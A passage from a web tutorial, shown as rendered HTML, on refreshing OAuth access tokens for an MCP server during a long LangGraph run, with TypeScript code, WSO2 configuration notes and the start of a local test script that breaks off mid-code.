<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="send-it-from-code">Send it from code<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#send-it-from-code" class="hash-link" aria-label="Direct link to Send it from code" title="Direct link to Send it from code" translate="no">​</a></h4>
<p>Create <code>refresh-access-token.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">refresh-access-token.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> StoredTokens </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./token-service.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> tokenEndpoint </span><span class="token operator">=</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">OAUTH_TOKEN_ENDPOINT</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> clientCredentials </span><span class="token operator">=</span><span class="token plain"> Buffer</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">from</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">process</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation" style="color:#15803D">env</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation constant" style="color:#C43300">APP_CLIENT_ID</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string string" style="color:#15803D">:</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">process</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation" style="color:#15803D">env</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation constant" style="color:#C43300">APP_CLIENT_SECRET</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">toString</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'base64'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">refreshAccessToken</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  refreshToken</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">StoredTokens </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> response </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">fetch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokenEndpoint</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    method</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'POST'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    headers</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      Authorization</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Basic </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">clientCredentials</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token string-property property" style="color:#1F4FFF">'Content-Type'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'application/x-www-form-urlencoded'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    body</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">URLSearchParams</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      grant_type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'refresh_token'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      refresh_token</span><span class="token operator">:</span><span class="token plain"> refreshToken</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token comment" style="color:#5A6072;font-style:italic">// Keep the new access token bound to the MCP server.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      resource</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_RESOURCE</span><span class="token operator">!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> body </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> response</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">json</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">error </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'invalid_grant'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// The refresh token expired or was revoked.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">response</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">ok</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Token refresh failed: </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">body</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation" style="color:#15803D">error</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    accessToken</span><span class="token operator">:</span><span class="token plain"> body</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">access_token</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Some servers rotate refresh tokens. Keep the newest one.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    refreshToken</span><span class="token operator">:</span><span class="token plain"> body</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">refresh_token </span><span class="token operator">??</span><span class="token plain"> refreshToken</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    expiresAt</span><span class="token operator">:</span><span class="token plain"> Date</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">now</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">+</span><span class="token plain"> body</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">expires_in </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1000</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Here's how the function maps to the exchange above:</p>
<ol>
<li class="">It reads the token endpoint from <code>OAUTH_TOKEN_ENDPOINT</code>, and builds the <code>Authorization</code> header from <code>APP_CLIENT_ID</code> and <code>APP_CLIENT_SECRET</code>.</li>
<li class="">It sends the request body with <code>grant_type</code>, <code>refresh_token</code>, and <code>resource</code>.</li>
<li class="">If the server answers <code>invalid_grant</code>, it returns <code>undefined</code>, and <code>TokenService</code> turns that into a <code>ReauthorizationRequiredError</code>.</li>
<li class="">If the server answers with any other error, such as a misconfigured client, it throws.</li>
<li class="">Otherwise, it returns the new <code>StoredTokens</code>, keeping the old refresh token if the server didn't send a new one.</li>
</ol>
<p>The three environment variables come from your own setup:</p>
<ul>
<li class=""><code>OAUTH_TOKEN_ENDPOINT</code> is listed as <code>token_endpoint</code> in your authorization server's metadata. With WSO2 Identity Platform, as in the earlier articles, it's <code>https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token</code>.</li>
<li class=""><code>APP_CLIENT_ID</code> and <code>APP_CLIENT_SECRET</code> belong to the application you registered for your app's sign-in, not the MCP client application from the earlier articles. Because it holds a secret, that application must run on a server. Never put the secret in a browser app.</li>
</ul>
<p>Before you rely on it, check your authorization server's setup:</p>
<ul>
<li class="">The application needs the refresh token grant enabled. Many authorization servers leave it off by default. In WSO2 Identity Platform, you'll find it in the allowed grant types on the application's <strong>Protocol</strong> tab.</li>
<li class="">After a refresh, the token's <code>aud</code> claim should still name your MCP server.</li>
<li class="">The user's original sign-in must have covered the MCP server and its scopes, such as <code>mcp:tools</code>. A refresh can't add permissions the user never granted. If the server answers <code>insufficient_scope</code>, the user needs to authorize again with more scopes. Refreshing won't help.</li>
</ul>
<p>LangGraph never handles the access token. The application resolves it, and the MCP transport attaches it to the outgoing request.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="prove-the-new-token-reaches-the-mcp-server">Prove the new token reaches the MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#prove-the-new-token-reaches-the-mcp-server" class="hash-link" aria-label="Direct link to Prove the new token reaches the MCP server" title="Direct link to Prove the new token reaches the MCP server" translate="no">​</a></h2>
<p>We can reproduce the failure and test the fix without an authorization server or a model key.</p>
<p>The plan is simple. We'll run a tiny MCP server whose tokens expire after two seconds, and log the token on every tool call. Then we'll call it twice through a fixed header, and twice through <code>connectAs()</code>, and compare what the server receives.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="set-up-the-project">Set up the project<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#set-up-the-project" class="hash-link" aria-label="Direct link to Set up the project" title="Direct link to Set up the project" translate="no">​</a></h3>
<ol>
<li class="">
<p>Create a project and install the dependencies:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">mkdir mcp-token-refresh</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">cd mcp-token-refresh</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm init -y</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm pkg set type=module</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact @modelcontextprotocol/client@2.4.0 @modelcontextprotocol/server@2.4.0 @modelcontextprotocol/node@2.1.2 zod@4</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-dev typescript tsx @types/node</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Create a <code>tsconfig.json</code>:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"compilerOptions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"target"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"es2022"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"module"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"nodenext"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"types"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"node"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"strict"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"skipLibCheck"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token property" style="color:#1F4FFF">"noEmit"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#C43300">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Copy <code>token-service.ts</code> and <code>mcp-auth.ts</code> from above into the project. The script doesn't need <code>refresh-access-token.ts</code>.</p>
</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="build-the-script">Build the script<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-token-expires-mid-run#build-the-script" class="hash-link" aria-label="Direct link to Build the script" title="Direct link to Build the script" translate="no">​</a></h3>
<p>We'll build <code>prove-refresh.ts</code> one part at a time. Add each part to the end of the file.</p>
<ol>
<li class="">
<p>Create <code>prove-refresh.ts</code> and add the imports:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> http </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:http'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> setTimeout </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> sleep </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:timers/promises'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> toNodeHandler </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/node'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpHandler</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> McpServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/server'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> z </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'zod/v4'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> connectAs </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./mcp-auth.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  TokenService</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StoredTokens</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./token-service.js'</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The script uses the MCP client and server packages, plus the <code>TokenService</code> and <code>connectAs()</code> you just copied.</p>
</li>
<li class="">
<p>Add a stand-in authorization server:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token comment" style="color:#5A6072;font-style:italic">// 1. A stand-in authorization server. Its tokens expire after 2 seconds.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">let</span><span class="token plain"> issued </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">0</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> expiries </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Map</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&lt;</span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">string</span><span class="token class-name punctuation" style="color:#5A6072;font-weight:600">,</span><span class="token class-name" style="color:#0B1633;font-weight:600"> </span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">number</span><span class="token class-name operator" style="color:#0B1633;font-weight:600">&gt;</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">issueTokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> StoredTokens </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  issued </span><span class="token operator">+=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> accessToken </span><span class="token operator">=</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">access_token_</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">issued</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> expiresAt </span><span class="token operator">=</span><span class="token plain"> Date</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">now</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">+</span><span class="token plain"> </span><span class="token number" style="color:#C43300">2_000</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  expiries</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">set</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">accessToken</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> expiresAt</span><span class="token 